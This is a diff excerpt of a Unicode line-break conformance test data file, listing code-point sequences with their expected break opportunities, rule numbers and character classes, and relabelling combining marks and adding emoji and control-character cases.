-× 00B4 × 0308 × 1160 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 00B4 × 0308 × 1160 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 00B4 × 000A ÷ # × [0.3] ACUTE ACCENT (BB) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 00B4 × 0020 × 000A ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 00B4 × 0308 × 000A ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 000A ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 00B4 × 0308 × 000A ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 000A ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 00B4 × 0085 ÷ # × [0.3] ACUTE ACCENT (BB) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 00B4 × 0020 × 0085 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 00B4 × 0308 × 0085 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 0085 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 00B4 × 0308 × 0085 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 0085 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 00B4 × 17D6 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 00B4 × 0020 ÷ 17D6 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 00B4 × 0308 × 17D6 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 00B4 × 0308 × 17D6 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 00B4 × 0030 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] DIGIT ZERO (NU) ÷ [0.3]
× 00B4 × 0020 ÷ 0030 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 00B4 × 0308 × 0030 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] DIGIT ZERO (NU) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 00B4 × 0308 × 0030 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] DIGIT ZERO (NU) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 00B4 × 0028 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] LEFT PARENTHESIS (OP) ÷ [0.3]
× 00B4 × 0020 ÷ 0028 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 00B4 × 0308 × 0028 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 00B4 × 0308 × 0028 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 00B4 × 0025 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] PERCENT SIGN (PO) ÷ [0.3]
× 00B4 × 0020 ÷ 0025 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 00B4 × 0308 × 0025 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] PERCENT SIGN (PO) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 00B4 × 0308 × 0025 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] PERCENT SIGN (PO) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 00B4 × 0024 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] DOLLAR SIGN (PR) ÷ [0.3]
× 00B4 × 0020 ÷ 0024 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 00B4 × 0308 × 0024 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] DOLLAR SIGN (PR) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 00B4 × 0308 × 0024 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] DOLLAR SIGN (PR) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 00B4 × 0022 ÷ # × [0.3] ACUTE ACCENT (BB) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 00B4 × 0020 ÷ 0022 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 00B4 × 0308 × 0022 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 00B4 × 0308 × 0022 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 00B4 × 0020 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [0.3]
× 00B4 × 0020 × 0020 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 0020 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 0020 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 00B4 × 002F ÷ # × [0.3] ACUTE ACCENT (BB) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 00B4 × 0020 × 002F ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 00B4 × 0308 × 002F ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 002F ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 00B4 × 0308 × 002F ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 002F ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 00B4 × 2060 ÷ # × [0.3] ACUTE ACCENT (BB) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 00B4 × 0020 × 2060 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 00B4 × 0308 × 2060 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 2060 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 00B4 × 0308 × 2060 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 2060 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 00B4 × 200B ÷ # × [0.3] ACUTE ACCENT (BB) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 00B4 × 0020 × 200B ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 00B4 × 0308 × 200B ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 200B ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 00B4 × 0308 × 200B ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 200B ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 00B4 × 1F1E6 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 00B4 × 0020 ÷ 1F1E6 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 00B4 × 0308 × 1F1E6 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 00B4 × 0308 × 1F1E6 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 00B4 × 261D ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00B4 × 0020 ÷ 261D ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00B4 × 0308 × 261D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 261D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00B4 × 1F3FB ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00B4 × 0020 ÷ 1F3FB ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00B4 × 0308 × 1F3FB ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00B4 × 0001 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00B4 × 0020 ÷ 0001 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00B4 × 0308 × 0001 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00B4 × 200D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 00B4 × 0020 ÷ 200D ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 00B4 × 0308 × 200D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 200D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 00B4 × 00A7 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] SECTION SIGN (AI_AL) ÷ [0.3]
× 00B4 × 0020 ÷ 00A7 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 00B4 × 0308 × 00A7 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] SECTION SIGN (AI_AL) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 00B4 × 0308 × 00A7 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] SECTION SIGN (AI_AL) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 00B4 × 50005 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] <reserved-50005> (XX_AL) ÷ [0.3]
× 00B4 × 0020 ÷ 50005 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 00B4 × 0308 × 50005 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] <reserved-50005> (XX_AL) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 00B4 × 0308 × 50005 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] <reserved-50005> (XX_AL) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 00B4 × 0E01 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 00B4 × 0020 ÷ 0E01 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 00B4 × 0308 × 0E01 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 00B4 × 0308 × 0E01 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 00B4 × 3041 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 00B4 × 0020 ÷ 3041 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 00B4 × 0308 × 3041 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 00B4 × 0308 × 3041 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 000B ÷ 0023 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] NUMBER SIGN (AL) ÷ [0.3]
× 000B ÷ 0020 ÷ 0023 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 000B ÷ 0308 × 0023 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 000B ÷ 0308 × 0023 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 000B ÷ 2014 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] EM DASH (B2) ÷ [0.3]
× 000B ÷ 0020 ÷ 2014 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 000B ÷ 0308 ÷ 2014 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 000B ÷ 0308 ÷ 2014 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 000B ÷ 0009 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 000B ÷ 0020 ÷ 0009 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 000B ÷ 0308 × 0009 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 000B ÷ 0308 × 0009 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 000B ÷ 00B4 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] ACUTE ACCENT (BB) ÷ [0.3]
× 000B ÷ 0020 ÷ 00B4 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 000B ÷ 0308 ÷ 00B4 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 000B ÷ 0308 ÷ 00B4 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 000B ÷ 000B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] <LINE TABULATION> (BK) ÷ [0.3]
× 000B ÷ 0020 × 000B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
